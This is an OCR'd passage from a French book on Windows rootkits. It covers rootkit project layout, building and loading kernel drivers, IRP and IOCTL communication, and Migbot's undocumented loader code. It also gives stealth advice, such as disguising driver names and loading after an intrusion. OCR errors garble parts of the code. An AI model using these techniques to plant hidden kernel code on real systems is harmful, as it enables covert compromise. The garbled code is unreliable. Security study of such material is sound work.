chaque driver ait une tache precise. II serait difficile pour un attaquant de gerer un 
driver monolithique "fourre-tout" offrant toutes les fonctions imaginables. 


Un rootkit, un systeme 

Un rootkit devrait etre suffisant pour n'importe quel systeme. Un rootkit est intrusif et 
modifie les donnees du systeme cible. Les attaquants font generalement en sorte que ces 
modifications soient minimales, mais ('installation de plusieurs rootkits pourrait conduire a 
des modifications de modifications et eventuellement a une corruption du systeme. Dans la 
plupart des cas, les rootkits partent du principe que le systeme cible est intact. Un rootkit 
peut verifier la presence de logiciels de detection ou de protection contre les hackers (tels 
que des systemes pare-feu d'hote) mais ne verifie habituellement pas la presence d'autres 
rootkits. Si un autre rootkit a deja ete installe sur le systeme, la meilleure option pour 
I'attaquant serait d'abandonner, c'est-a-dire de stopper, I'execution de son rootkit en raison 
d'une erreur. 


Un projet de rootkit complexe peut inclure de nombreux composants et sera plus facile 
a gerer s’il est bien organise. Nous ne presentons aucun exemple tres complexe dans 
ce livre, mais la structure de repertoires presentee ci-apres pourrait etre employee dans 
le cadre d’un tel projet. Elle debuterait comrne suit : 


/My Rootkit 
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Le code de dissimulation de fichiers peut etre complique et devrait figurer dans un 
ensemble distinct de fichiers de code source. II existe de nombreuses techniques de 
dissimulation de fichiers, certaines d’entre elles necessitant beaucoup de code. Par 
exemple, certaines demandent de "hooker" un grand nombre d’appels de fonctions, 
chaque hook impliquant une quantite importante de code : 

/src/File Hider 

Les operations de reseau requierent du code NDIS ( Network Driver Interface 
Specification) et TDI ( Transport Driver Interface) sous Windows. Ces drivers ont 
tendance a etre volumineux et comprennent parfois des liens vers des bibliotheques 
extemes. La encore, il vaut mieux les placer dans leurs propres fichiers source : 

/src/Network Ops 

Les operations de dissimulation de cles de registre peuvent impliquer des approches qui 
different de celles de masquage de fichiers. Elles peuvent necessiter de nombreux 
hooks et parfois aussi des tableaux ou listes de handles requerant un suivi. Elles sont 
typiquement difficiles a implementer en raison de P interrelation qui existe entre les 
cles et les valeurs, ce qui a conduit certains developpeurs a elaborer des solutions assez 
complexes a ce probleme. Ce code devrait lui aussi figurer dans un ensemble separe de 
fichiers : 

/src/Registry Hider 

La dissimulation de processus devrait recourir aux techniques DKOM ( Direct Kernel 
Object Manipulation) decrites au Chapitre 7. Ces fichiers peuvent contenir des 
structures de donnees dissequees par retro-ingenierie et d’ autres informations : 

/src/Process Hider 

La plupart des rootkits doivent etre relances lorsque l’ordinateur cible redemarre. Un 
attaquant inclurait ici un petit service servant a lancer automatiquement le root- kit au 
demarrage de la machine. Faire en sorte qu’un rootkit demarre en meme temps que son 
hote est une tache ardue. La simple modification d’une cle de registre peut permettre 
cela, mais cette approche est facile a detecter. Aussi, certains developpeurs ont congu 
des solutions complexes qui incluent des patchs du noyau sur disque et des 
modifications du boot-loader : 


/src/Boot Service 
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Les fichiers d’en-tete courants a inclure contenant les definitions de types, les 
enumerations et les codes IOCTL ( I/O Control ) seront places dans le repertoire 
suivant. Ces fichiers sont generalement partages par tous les autres fichiers et meritent 
done un emplacement propre : 

/inc 

Tous les fichiers compiles seront places id : 

/bin 

Le conrpilateur possede son propre ensemble de bibliotheques. L’attaquant pourrait 
utiliser 1’ emplacement suivant pour des bibliotheques additionnelles ou tierces : 

/lib 

Introduction de code dans le noyau 

Le nroyen le plus simple d’introduire du code dans le noyau consiste a utiliser un 
module chargeable, autrement dit un driver, ou pilote, de peripherique. C’est celui que 
nous utiliserons. Une nrajorite de systemes d’exploitation nrodemes autorisent l’ajout 
d’ extensions a leur noyau, pemrettant aux fabricants tiers de systemes de stockage, de 
cartes video, de cartes meres, de cartes reseau, etc. d’assurer le support de leurs 
produits. Chaque systenre d’exploitation propose normalement une documentation et 
un support pour introduire ces drivers dans son noyau. 

Un driver est communenrent employe pour des peripheriques nrais n’ inrporte quel code 
peut etre introduit par cette voie. Une fois que votre code s’execute dans le noyau, vous 
disposez d’un acces total a fespace menroire privilegie du noyau et des processus 
systenre. Ce niveau d’acces pernret de modifier le code et les structures de donnees de 
n’ inrporte quel logiciel present sur la machine. 

Un module typique inclut un point d’ entree et eventuellement une routine de nettoyage. 
Par exemple, un module chargeable pour Linux pourrait ressembler a ceci : 

int init jnodule(void) 

{ 

} 


void cleanup_module(void) 
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Dans certains cas, comme avec les drivers pour Windows, le point d’entree doit 

enregistrer des callbacks (rappels) de fonctions. Le module ressemblerait alors a ceci : 
NTSTATUS DriverEntry( . . . ) 

{ 

theDriver->DriverUnload = MyCleanupRoutine; 

} 

NTSTATUS MyCleanupRoutineQ 

{ 

} 

Line routine de nettoyage n’est pas toujours necessaire, c’est pourquoi elle est 
optionnelle avec les drivers pour Windows. Elle est requise uniquement lorsque vous 
prevoyez de decharger le driver. Dans de nombreuses situations, un rootkit peut etre 
place dans un systeme et y etre laisse sans qu’il soit necessaire de le decharger. 
Toutefois, pendant le developpement, il peut etre utile de disposer d’une telle routine 
pour pouvoir charger plus facilement de nouvelles versions du rootkit a mesure qu’il 
evolue. La plupart des exemples de rootkits disponibles sur root- kit.com incluent des 
routines de dechargement 1 . 

Build du driver pour Windows 

Notre premier exemple est destine aux plates-formes Windows XP et 2000. II s’agit 
non pas encore d’un rootkit mais d’un simple driver "Hello World!" : 

#include "ntddk.h" 

NTSTATUS DriverEntry( IN PDRIVER1DES1ECT theDriverObject , 

IN PUNIC0DE_STRING theRegistryPath ) ' 

{ 

DbgPrint ( "Hello World! 1 ’ ); return 
STATUS_SUCCESS; 

> 

Plutot simple, n’est-ce pas ? Lorsque vous chargez ce code dans le noyau, la directive 
de debugging est envoyee (voir la section "Journalisation des instructions de 
debugging", plus loin dans ce chapitre, pour savoir comment capturer les messages de 
debugging). 

Notre rootkit se fonde sur plusieurs elements decrits dans les sections suivantes. 


1 . Un ensemble de rootkits de base appele basic_class est disponible sur rootkit.com. 
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Le kit de developpement de drivers (DDK) 

Pour le build d’un driver, vous avez besoin du kit DDK (Driver Development Kit). Des 
DDK sont disponibles aupres de Microsoft pour chaque version de Windows 1 . Vous 
opterez probablement pour le DDK Windows 2003, lequel permet de compiler des 
drivers a la fois pour 2000, XP et 2003. 

Les environnements de build du DDK 

Le DDK offre deux environnements de build differents, Pun appele checked-build et 
V autre, free-build. Le premier est utilise lors du developpement du driver et le second, 
pour produire le code final. Avec le premier, les points de controle de debugging sont 
compiles dans le driver. Le resultat est done un driver beaucoup plus grand qu’avec le 
second. Vous devriez employer le checked -build pour la plus grande partie du travail 
de developpement et passer au free-build seulement lorsque vous testez le produit final. 
Pour explorer les exemples de ce livre, le checked -build convient bien. 

Les fichiers 

Vous ecrirez le code source de votre driver en C et donnerez a votre nom de fichier 
P extension .c. Pour debuter votre projet, creez un repertoire (par exemple c : 
\myrootkit) et placez dedans un fichier mydriver. c. Copiez ensuite dans ce fichier le 
code "Hello World!" du driver vu plus haut. 

Vous aurez egalement besoin d’un fichier sources et d’un fichier makefile . 

Le fichier SOURCES 

Ce fichier devrait se nommer sources en majuscules et sans extension et contenir le 
code suivant : 

TARGETNAME=MYDRIVER 
TARGETPATH=0BD 
TARGETTYPE=DRIVER 
S0URCES=mydriver . c 


1. Des informations sur les DDK pour Windows sont disponibles sur www.microsoft.com/ddk . 
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La variable targetname specific le nom qui sera donne au driver. Un attaquant en 
choisira un discret car il sera aussi integre a P executable. L’emploi d’un nom tel que 
M0N_R00TK i t_V0US_au ra_t 0us ne serait pas une bonne idee. Meme si le fichier etait 
renomme par la suite, la chaine resterait dans E executable et pourrait etre decouverte. 

Des noms plus appropries sont ceux qui ressemblent a de veritables noms de drivers, 
tels que msdirectx, msvid_H424, ide_hd41, soundmgr ou H323F0N . Etant donne que de 
nombreux drivers sont charges sur un ordinateur, examinez-en la liste. Leurs noms 
pourront etre source d’ inspiration. 

La variable targetpath possede habituellement la valeur obi . Elle definit 
1’ emplacement de destination des fichiers lorsqu’ils sont compiles. Les fichiers de 
votre driver seront normalement places dans un sous-repertoire objchk_xxx/i386 du 
repertoire courant. 

La variable targettype indique le type de fichier qui est compile, en E occurrence 

DRIVER. 

La ligne sources comprend typiquement une liste de fichiers. Pour utiliser plusieurs 
lignes, il faut introduire une barre oblique inverse (\) a la fin de chaque ligne, sauf la 
demiere. Par exemple : 

S0URCES= myfilel.c \ 
myfile2.c \ 
myf ile3 . c 

Vous pouvez optionnellement ajouter la variable includes et specifier plusieurs 
repertoires pour les fichiers a inclure, comme ceci : 

INCLUDES= c:\my_includes \ 

• A.Alnc \ 
c : \other_includes 

Si des bibliotheques doivent etre liees, il faut egalement ajouter une variable 
targetlibs. Comme nous utilisons la bibliotheque NDIS pour certains de nos drivers 
de rootkit, la ligne pourrait ressembler a ceci : 

TARGETLIBS=$(BASEDIR)\lib\w2k\i386\ndis .lib 
Ou a ceci : 


TARGETLIBS=$(DDK_LIB_PATH) \ndis . lib 
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II se peut que vous deviez localiser le fichier ndis. lib sur votre systeme et coder en dur 
son chemin lorsque vous faites le build du driver NDIS. Pour des exemples, voyez le 
Chapitre 9. 

La variable $(basedir) indique le repertoire d’ installation du DDK et la variable $ 
(ddk_lib_path) , l’emplacement par defaut ou les bibliotheques sont installees. Le reste 
du chemin peut differer selon votre systeme et votre version de DDK. 


Creation de fichiers executables avec les DDK 

Peu de gens savent qu'il est egalement possible de compiler des programmes executables 
avec les DDK, et pas seulement des drivers. Pour cela, il faut definir la variable TARGETTYPE 
avec la valeur PROGRAM. II existe d'autres types, tels que EXPORT_DRIVER, DRIVER_LIBRARY 
et DYNLINK. 

Le fichier MAKEFILE 

Pour finir, creez un fichier nomme makefile en majuscules et sans extension. Ce 
fichier devrait contenir le code suivant sur une seule ligne : 

IINCLUDE $(NTMAKEENV)\makefile.def 
Execution de I'utilitaire Build 

Une fois que vous disposez des fichiers makefile, sources et . c, tout ce qu’il vous 
reste a faire est de lancer P environnement checked -build du DDK, ce qui aura pour 
effet d’invoquer un interpreter de commandes. Cet environnement est accessible a 
partir du groupe Windows DDK dans le menu Demarrer, Programmes. Dans le shell de 
L environnement, changez le repertoire courant pour vous placer dans le repertoire de 
votre driver et tapez la commande build. Le processus devrait normalement se 
derouler sans erreur. Et voila, vous avez cree votre premier driver ! Un conseil : veillez 
a ce que le chemin complet de votre repertoire ne contienne aucune espace, comme 
dansC: \myrootkit. 


Rootkit.com 

Vous trouverez un exemple de driver complet, avec les fichiers MAKEFILE 
et SOURCES, deja cree pour vous a I'adresse 

www.rootkit.com/vault/hoglund/basic l.zip . 


Chapitre 2 


Infiltration du noyau 43 


La routine de dechargement 

Lorsque vous creez le driver, un argument theDriverObject est passe a la fonction 
principale du driver. Cet argument pointe vers une structure de donnees qui contient 
des pointeurs de fonctions, l’un d’entre eux etant la "routine de dechargement". Si nous 
definissons ce pointeur, cela signifie que le driver peut etre decharge de la memoire. Si 
nous ne le definissons pas, le driver pourra etre charge mais jamais decharge. II faudra 
alors redemarrer la machine pour l’eliminer de la memoire. 

A mesure que nous developpons des fonctionnalites pour notre driver, nous aurons 
souvent besoin de le charger et de le decharger. Nous devrions done definir la routine 
de dechargement pour eviter d’ avoir a redemarrer chaque fois que nous voulons tester 
une nouvelle version du driver. 

Definir cette routine n’a rien de difficile. II faut d’abord creer une fonction de 
dechargement puis definir le pointeur : 


// DRIVER DE BASE #include "ntddk.h" 

// Ceci est la fonction de dechargement 

VOID OnUnload( IN PDRIVER_0B1ECT DriverObject ) 

{ 

DbgPrintf’Onllnload called\n"); 

} 

NTSTATUS DriverEntry(IN PDRIVER_0B1ECT theDriverObject, 

IN PUNICODE_STRING theRegistryPath) 

{ 

DbgPrint("I loaded!"); 

// Initialise le pointeur vers la fonction de dechargement // 
dans DriverObject. 

theDriverObject->DriverUnload = OnUnload; return 
STATUS_SUCCESS; 

} 


Nous pouvons a present charger et decharger le driver sans avoir a redemarrer. 

Chargement et dechargement du driver 

Charger et decharger le driver est aise. Telechargez simplement l’utilitaire InstDrv 
depuis le site rootkit.com 1 . Cet outil permet d’enregistrer ainsi que de demarrer et 
d’ arreter le driver. II est illustre a la Figure 2. 1 . 


1. L'utilitaire InstDrv n’a pas ete ecrit par des membres de rootkit.com mais est propose sur ce site par 
commodite. 
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Figure 2.1 

L 'utilitaire InstDrv. 



Rootkit.com 

Vous trouverez une copie de I'utilitaire InstDrv a I'adresse 
www.rootkit.com/vault/hoglund/lnstDrv.zip . 


En production, vous aurez certainement besoin d’une meilleure methode pour charger 
votre driver, mais pour la phase de developpement cet utilitaire convient parfaitement. 
Nous presentons plus loin dans ce chapitre, a la section "Chargement du rootkit", un 
programme de deployment adapte aux situations reelles. 

Journalisation des instructions de debugging 

Les directives de debugging permettent au developpeur de consigner des informations 
importantes pendant l’execution d’un driver. Pour cela, il doit disposer d’un outil 
contju pour capturer ces messages. Un outil efficace est DebugView. II est disponible 
gratuitement a I’adresse www.sysinternals.com . 

Ces instructions peuvent etre utilisees pour envoyer en sortie des marqueurs ( tombs- 
tone ) indiquant que des lignes de code particulieres ont ete executees. Recourir a un 
outil de capture est parfois plus commode qu’ employer un debuggeur pas a pas (tel que 
Softlce ou WinDbg), car le premier est relativement facile d’emploi tandis que le 
second est complexe a configurer et a utiliser. Cette approche permet d’ envoyer en 
sortie des codes de retour ou de detailler des conditions d’erreur. La Ligure 2.2 illustre 
l’exemple d’un rootkit implementant un hook d’appel qui envoie les resultats de 
debugging au systeme. 

Vous pouvez envoyer en sortie les instructions de debugging avec des drivers pour 
Windows en utilisant l’appel suivant : 


DbgPrint("une chaine"); 
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real ZwQuerySystemlnfo returned 0 
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real ZwQuerySystemlnfo returned 0 
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BHWIN: NewZwQuerySystemlnformationQfrom POWERPNT EXE 
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real ZwQuerySystemlnfo returned 0 
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BHWIN: NewZwQuerySystemlnformationQfrom sqlservr.exe 
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real ZwQuerySystemlnfo returned 0 

13 
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BHWIN NewZwQuerySystemlnformationQfrom sqlservr exe 

14 
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real ZwQuerySystemlnfo returned 0 


Figure 2.2 

DebugView capture la sortie d'un rootkit de niveau noyau. 

De nombreuses fonctions de debugging ou de journalisation de niveau noyau telles que 
DbgPrint sont disponibles avec la plupart des systemes d’ exploitation. Par exemple, 
sous Linux, un module chargeable peut utiliser la fonction printk( ) . 


Communication entre le mode utilisateur et le mode noyau 

Un rootkit peut facilement contenir a la fois des composants en mode utilisateur et des 
composants en mode noyau (voir Figure 2.3). Ceux du mode utilisateur gerent la 
plupart des fonctionnalites, telles que la communication en reseau et le controle a 
distance, et ceux du mode noyau assurent la furtivite et Faeces au materiel. 

La majorite des rootkits doit inclure des mecanismes d’ infiltration du noyau tout en 
offrant en meme temps des fonctionnalites complexes. Cette complexite pouvant etre 
synonyme de bugs et demander l’emploi de bibliotheques d’API systeme, le mode 
utilisateur est preferable. 

Un programme en mode utilisateur peut communiquer avec un driver du noyau par une 
variete de moyens. L’un des plus courants est par F intermediate de commandes de 
controle d’E/S, ou IOCTL (I/O Control). Ces commandes sont en fait des messages de 
commande pouvant etre definis par le programmeur. 
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Figure 2.3 

Un rootkit utilisant des composants en modes utilisateur et noyau. 


Les sections suivantes abordent des concepts importants relatifs aux drivers que vous 
devez comprendre pour pouvoir concevoir un rootkit combinant des composants dans 
les modes utilisateur et noyau. 

Paquets de requetes d'E/S (IRP) 

Un concept important est celui de paquet de requite d’E/S, ou IRP ( I/O Request 
Packet). Pour communiquer avec un programme utilisateur, un driver Windows doit 
pouvoir gerer ces IRP, qui consistent simplement en des structures contenant des 
tampons de donnees. Un programme peut ouvrir un handle de fichier et y ecrire. Au 
niveau du noyau, cette operation d’ecriture sera representee par un IRP. En supposant 
que le programme derive la chaine "HELLO DRIVER! " dans le handle, le noyau 
creera un IRP contenant le tampon avec cette chaine. La communication entre les 
modes utilisateur et noyau peut se derouler via ces IRP. 

Pour traiter les IRP, le driver doit inclure des fonctions a cet effet. Comme pour la 
routine de dechargement, nous definissons simplement les pointeurs de fonctions 
appropries dans l’objet driver : 

NTSTATUS OnStubDispatch(IN PDEVICE_OBDECT DeviceObject, 

IN PIRP Irp ) 
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{ 

Inp->IoStatus. Status = STATUS_SUCCESS; 
IoCompleteRequest(Irp, 

IO_NO_INCREMENT ) ; return 

STATUS_SUCCESS; 


} 

VOID OnUnload( IN PDRIVER_OBDECT DriverObject ) 
{ 

DbgPrint("OnUnload called\n"); 


NTSTATUS DriverEntry( IN PDRIVER_OBIECT theDriverObject , 

IN PUNICODE_STRING theRegistryPath ) 


int i; 

theDriverObject->Driverllnload = OnUnload; 
for(i=0;i< IRP_MI_MAXIMUM_FUNCTION; i++ ) 

{ 

theDriverObject->MaiorFunction[i] = OnStubDispatch; 

} 


return STATUS SUCCESS: 


La Figure 2.4 montre le chemin que prennent les appels de fonctions en mode 
utilisateur lorsqu’ ils sont routes vers le driver du noyau. 



Figure 2.4 

Routage des appels d'E/S par le biais de pointeurs de fonctions majeures. 
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Dans cet exemple, et comme illustre a la Figure 2.4, les fonctions majeures, designees 
par MJ (major fonction), sont stockees dans un tableau et leur emplacement est 
renseigne par les valeurs suivantes : irp_md_read, irp_mi_write et 

irp M3 device control. Ces valeurs sont definies pour pointer vers la fonction 
OnStubDispatchj laquelle est une routine stub qui ne fait rien. 

Dans un driver normal, nous creerions tres probablement une fonction separee pour 
chaque fonction majeure. Supposez que nous voulions gerer les evenements read et 
write. Ces evenements sont declenches lorsqu’un programme utilisateur appelle la 
fonction ReadFile ou WriteFile avec un handle sur le driver. Un driver plus complet 
pourrait gerer des fonctions additionnelles, comme la fermeture d’un fichier ou l’envoi 
d’une commande IOCTL. Void un exemple d’un ensemble de pointeurs de fonctions 
majeures : 

Driver0bject->MajorFunction[IRP_M3_CREATE] = MyOpen; DriverObject- 
>MajorFunction[IRP_MD_CLOSE] = MyClose; 

Driver0bject->MajorFunction[IRP_M3_READ] = MyRead; DriverObject- 
>MajorFunction[IRP_M3_WRITE] = MyWrite; 

DriverObj ect->MajorFunction[IRP_M3_DEVICE_C0NTR0L] = MyloControl; 

Pour chaque fonction majeure ajoutee, le driver doit specifier la fonction a invoquer. II 
pourrait par exemple contenir les fonctions suivantes : 

NTSTATUS MyOpenfIN PDEVICE_0B3ECT DeviceObject, IN PIRP Irp ) 

{ 


// Execute quelque chose 


return STATUS_SUCCESS; 

} 

NTSTATUS MyClose (IN PDEVICE_OBDECT DeviceObject, IN PIRP Irp ) 

{ 


// Execute quelque chose 


return STATUS_SUCCESS; 

} 

NTSTATUS MyRead(IN PDEVICE_0B3ECT DeviceObject, IN PIRP Irp ) 

{ 


// Execute quelque chose 


return STATUS_SUCCESS; 

} 

NTSTATUS MyWrite (IN PDEVICE_OBDECT DeviceObject, IN PIRP Irp ) 
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II Execute quelque chose return 
STATUS_SUCCESS; 

} 

NTSTATUS MyIOControl(IN PDEVICE_OBDECT DeviceObject, IN PIRP Irp ) 

{ 

PI0_STACK_L0CATI0N IrpSp; 

ULONG FunctionCode; 

IrpSp = IoGetCurrentlrpStackLocation(Irp); 

FunctionCode=IrpSp->Parameters . DeviceloControl . IoControlCode; 
switch (FunctionCode) 

{ 

// Execute quelque chose 

} 

return STATUS_SUCCESS; 

} 

La Figure 2.5 illustre comment les appels emis par un programme utilisateur sont 
routes par le biais du tableau de fonctions majeures vers les fonctions definies dans le 
driver : My Read , MyWrite etMylOCTL. 



Figure 2.S 

Le driver peut definir des fonctions de callback specif iques pour chaque type de "fonction majeure 


Maintenant que vous comprenez de quelle maniere les appels en mode utilisateur sont 
traduits en appels de fonctions dans le driver du noyau, nous allons decrire comment 
exposer celui-ci au mode utilisateur a l’aide d’objets fichier. 
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Creation d'un handle de fichier 

Un autre concept que vous devriez comprendre est celui de handle de fichier. Pour 
pouvoir utiliser un driver du noyau a partir d’un programme utilisateur, ce dernier doit 
ouvrir un handle sur le driver, ce qui est possible uniquement si le driver a 
prealablement enregistre un peripherique nomme. Le programme peut ensuite ouvrir le 
peripherique comme s’il s’agissait d’un fichier. Cette approche ressemble beaucoup a 
la fa^on dont les peripheriques sont traites sur de nombreux systemes Unix, ou tout est 
traite comme un fichier. 


Pour notre exemple, le driver enregistre un peripherique en utilisant le code suivant : 


const WCHAR deviceNameBuffen[ ] = L" WDeviceWMyDevice" ; 

PDEVICE_0B1ECT g_RootkitDevice; // Pointeur global vers l'objet peripherique 
NTSTATUS DriverEntry(IN PDRIVER_0B1ECT DriverObject, 

IN PUNICODE_STRING RegistryPath ) 


NTSTATUS rtStatus; 

UNICODE_STRING deviceNameUnicodeStringj 
// Definit le nom et le lien symbolique 
RtllnitUnicodeStning (&deviceNameUnicodeString, 
deviceNameBuffer ); 

// Definit le peripherique // 

ntStatus = IoCreateDevice ( DriverObject, 

0, // Pour 1' extension du driver 

&deviceNameUnicodeString, 

0x00001234, 

0 , 

TRUE, 

&g_RootkitDevice ); 


Dans cet exemple, la routine DriverEntry cree immediatement un peripherique nomme 
MyDevice. Remarquez le chernin complet qui est utilise dans l’appel : 

const WCHAR deviceNameBuffer[] = L"\\Device\\MyDevice"; 

Le prefixe L indique de definir la chaine au format Unicode, ce qui est requis pour 
l’appel APL Apres que le peripherique a ete cree, un programme utilisateur peut 
L ouvrir de la meme maniere qu’un fichier : 

hDevice = CreateFile("\\\\Device\\MyDevice", 

GENERIC_READ | GENERIC_WRITE, 

0 , 

NULL, 
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OPEN_EXISTINGj 

FILE_ATTRIBUTE_NORMAL, 

NULL 

); 

if ( hDevice == ( (HANDLE) -1) ) return FALSE; 

Une fois le handle de fichier ouvert, il peut servir de parametre dans des fonctions en 
mode utilisateur telles que ReadFile et WriteFile. II peut aussi etre utilise pour 
effectuer des appels IOCTL. Ces operations provoquent la generation d’IRP qui 
peuvent etre geres dans le driver. 

Les handles de fichiers sont aises a ouvrir et a utiliser a partir du mode utilisateur. 
Nous allons voir a present comment les rendre encore plus faciles a utiliser au moyen 
de liens symboliques. 

Ajout d'un lien symbolique 

Un troisieme concept lie aux drivers est celui de lien symbolique. Certains drivers 
emploient des liens symboliques pour permettre aux programmes utilisateur d’ ouvrir 
plus facilement les handles de fichiers. Cette etape n’est pas obligatoire, mais elle peut 
etre utile car un nom symbolique est plus simple a memoriser. Un tel driver creerait un 
peripherique puis appellerait ioCreateSymbolicLink pour creer le lien. Certains rootkits 
emploient cette technique et d’autres non. Voici comment proceder : 

const WCHAR deviceLinkBufferf] = L"\\DosDevices\\vicesys2"; 
const WCHAR deviceNameBuffer [ ] = L"\\Device\\vicesys2"; 

NTSTATUS DriverEntryfIN PDRIVER_OBTECT DriverObject, 

IN PUNICODE_STRING RegistryPath 

) 

{ 

NTSTATUS ntStatus; 

UNICODE_STRING deviceNameUnicodeString; 

UNICODE_STRING deviceLinkUnicodeString; 

// Definit le nom et le lien symbolique 
RtllnitUnicodeString (&deviceNameUnicodeString, 
deviceNameBuffer ); 

RtllnitUnicodeString (&deviceLinkUnicodeString, 
deviceLinkBuffer ); 

// Definit le peripherique 

// 

ntStatus = IoCreateDevice ( DriverOb]ect ^ 

0, II Pour 1' extension du driver 
&deviceNameUnicodeString, 
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FILE_DEVICE_ROOTKIT, 

0 , 

TRUE, 

&g_RootkitDevice ); 

if ( NT_SUCCESS(ntStatus) ) { 

ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, 

&deviceNameUnicodeStning ); 

Maintenant que le lien symbolique existe, un programme utilisateur peut ouvrir un 
handle sur le peripherique en utilisant la chaine "\ \. VMyDevice". II importe peu que 
vous creiez ou non un lien symbolique. Cela permet simplement au code utilisateur de 
trouver plus facilement le driver mais n’est pas necessaire : 

hDevice = CreateFile("\\\\.WMyDevice", 

GENERIC_READ | GENERIC_WRITE, 

0 , 

NULL, 

OPEN_EXISTING, 

FILE_ATTRIBUTE_NORMAL, 

NULL 

); 

if ( hDevice == ( (HANDLE) -1) ) 
return FALSE; 

Apres avoir explique comment communiquer entre le mode utilisateur et le mode 
noyau au moyen d’un handle de fichier, nous allons voir comment charger un driver. 

Chargement du rootkit 

Vous aurez inevitablement besoin de charger le driver a partir d’un programme 
utilisateur. Par exemple, si vous penetrez dans un systeme informatique, vous voudrez 
y copier un programme de deployment, l’executer et charger le rootkit dans le noyau. 

Un programme de chargement ( loader ) decompresse generalement une copie du 
fichier . sys sur le disque dur puis emet des commandes pour le charger dans le noyau. 
Bien entendu, pour toutes ces operations, il doit s’executer avec des droits 
d’ administrates 1 . 

II existe de nombreuses fayons de charger un driver dans le noyau. Nous abordons ici 
deux methodes, l’une rapide mais pas ideale, et l’autre recommandee. 


1. Ou en tant que NT_AUTHORITY/SYSTEM, selon le systeme sur lequel vous vous introduisez. 
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Approche rapide 

A l’aide d’un appel API non documents, vous pouvez charger un driver dans le noyau 
sans avoir a creer de cles de registre. Le probleme est que le driver est alors paginable, 
c’est-a-dire que la memoire qu’il occupe peut etre transferee sur disque. N’importe 
quelle portion du driver peut etre paginee. Lorsqu’une section de memoire est paginee, 
il arrive parfois qu’elle soit inaccessible. Dans ce cas, une tentative d’acces a cette 
portion donnera lieu au fameux ecran bleu de Windows (un plantage du systeme). La 
seule fag on d’ employer de maniere securisee cette methode de chargement est de 
pallier le probleme de pagination par une conception specifique. 

Un exemple de rootkit efficace et tres simple qui emploie cette approche est Migbot (il 
est disponible sur rootkit.com). Il copie tout le code operationnel dans un pool de 
memoire non paginable de sorte que son fonctionnement ne soit pas affecte si le driver 
est transfere sur disque. 


Rootkit.com 

Le code source de Migbot est telechargeable a I'adresse 
www.rootkit.com/vault/hoglund/migbot.zip . 


Cette methode de chargement porte generalement le meme nom que 1’ appel API non 
documente, a savoir system load and call image. Voici le code de chargement de 
Migbot : 

// 

// Charge un fichier .sys en tant que driver au moyen // 
d'une methode non documentee. 

// 

bool load_sysfile( ) 

{ 

SYSTEM_LOAD_AND_CALL_IMAGE Gregslmage; 

WCHAR daPath[] = L"\\??\\C : \\MIGB0T . SYS" ; 
////////////////////////////////////////////////////////////// 
// Recupere le point d'entree de la DLL 
/////////////////////////////////////////////////////// 
/////// if ( ! (RtllnitUnicodeString = (RTLINITUNICODESTRING) 
GetProcAddress( GetModuleHandle(“ntdll . dll" ) 

, "RtllnitUnicodeString" 

))) 
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{ 

retunn false; 

} 

if( !(Z wSetSystemlnformation = (ZW SETS YSTEMINFORMATION) 

GetProcAddress( 

GetModuleHandle( "ntdll.dll") 
,"ZwSetSystemlnformation" ))) 

{ 

retunn false; 

} 

RtllnitUnicodeString(&(GregsImage.ModuleName), daPath); 
if( !NT_SUCCESS( 

ZwSetSystemlnformation(SystemLoadAndCallImage, 

&GregsImage, 

sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)J)) 

{ 

return false; 

} 

return true; 

} 

Ce code est execute a partir du mode utilisateur et s’ attend a ce que le fichier . sys soit 
C: \migbot. sys. 

Migbot n’inclut pas de mecanisme de dechargement et ne peut done etre decharge 
qu’au redemarrage de la machine. L’interet de cette approche est qu’elle peut offrir 
davantage de furtivite que des protocoles plus etablis. L’ inconvenient est qu’elle 
complique la conception du rootkit. Elle convient bien pour Migbot, mais pour des 
rootkits plus complexes avec de nombreux hooks elle imposerait une surcharge de 
code trop importante. 

Approche recommandee 

La methode etablie et correcte pour charger un driver consiste a utiliser le gestionnaire 
SCM (Seryice Control Manager ), lequel entraine la creation de cles de registre. Avec 
cette approche, le driver n’est pas paginable, ce qui signifie que vos fonctions de 
callback, vos fonctions de gestion des IRP et tout autre code important ne risquent pas 
d’etre pagines et ne causeront done pas d’ecran bleu, ce qui est preferable. 

L’exemple de code suivant permet de charger n’importe quel driver d’apres son nom 
via SCM. II enregistre d’abord le driver puis le lance. Vous pouvez reprendre ce code 
dans votre programme de chargement si vous le souhaitez : 
bool _util_load_sysfile(char *theDriverName) 
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char aPath[1024] ; 
char aCurrentDirectory[515] ; 

SC1HANDLE sh = OpenSCManager(NULL , NULL, SC_MANAGER_ALL_ACCESS) ; if ( 
! s h ) 

{ 

return false; 

} 

GetCurrentDirectory( 512, aCurrentDirectory) ; 

_snprintf (aPath, 

1022, 

"%s\\%s.sys", 
aCurrentDirectory, 
theDriverName) ; 
printf ("loading %s\n", aPath); 

SCJHANDLE rh = CreateService(sh, 

theDriverName, 

theDriverName, 

SERVICE_ALL_ACCESS, 

S E RVIC E_KE RN E L_DRIVE R , 

S E RVIC E_DEMAND_START, 
SERVICE_ERROR_NORMAL, 
aPath, 

NULL, 

NULL, 

NULL, 

NULL, 

NULL); 

if ( ! rh) 

{ 

if (GetLastErrorQ == ERROR_SERVICE_EXISTS) 

{ 

// Le service existe 
rh = OpenService(sh, 

theDriverName, 

SERVICE_ALL_ACCESS) ; 

if ( ! rh) 

{ 

CloseServiceHandle(sh) ; 
return false; 

} 


else 


CloseServiceHandle(sh) ; 
return false; 

} 

} 

// Demarre les drivers if(rh) 

{ 

if(0 == StartService(rh, 0, NULL)) 
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if (ERROR_SERVICE_ALREADY_RUNNING == GetLastError ( ) ) 

{ 

II Pas de reel probleme 

} 

else 


CloseServiceHandle(sh) ; 

CloseServiceHandle(rh) ; 
return false; 

} 

} 

CloseServiceHandle(sh) ; 

CloseServiceHandle(rh) ; 

} 

return true; 

} 

Vous disposez a present de deux methodes pour charger votre driver ou rootkit dans la 
memoire du noyau. Toute la puissance du systeme d’ exploitation est maintenant entre 
vos mains ! 

La section suivante decrit comment utiliser un seul fichier, une fois que vous avez 
acces a un systeme, pour contend a la fois la portion utilisateur et la portion noyau du 
rootkit. Le fait d’ employer un seul fichier au lieu de deux permet de laisser moins de 
traces sur le systeme de fichiers ou lors de la traversee du reseau. 

Decompression du fichier .sys a partir d'une ressource 

Les fichiers executables au format PE (Portable Executable) de Windows peuvent 
comprendre plusieurs sections, chacune d’elles pouvant etre consideree comrne un 
dossier. Ceci permet au developpeur d’y inclure divers objets, tels que des fichiers 
graphiques. N’importe quel objet binaire peut etre inclus, y compris d’autres fichiers. 
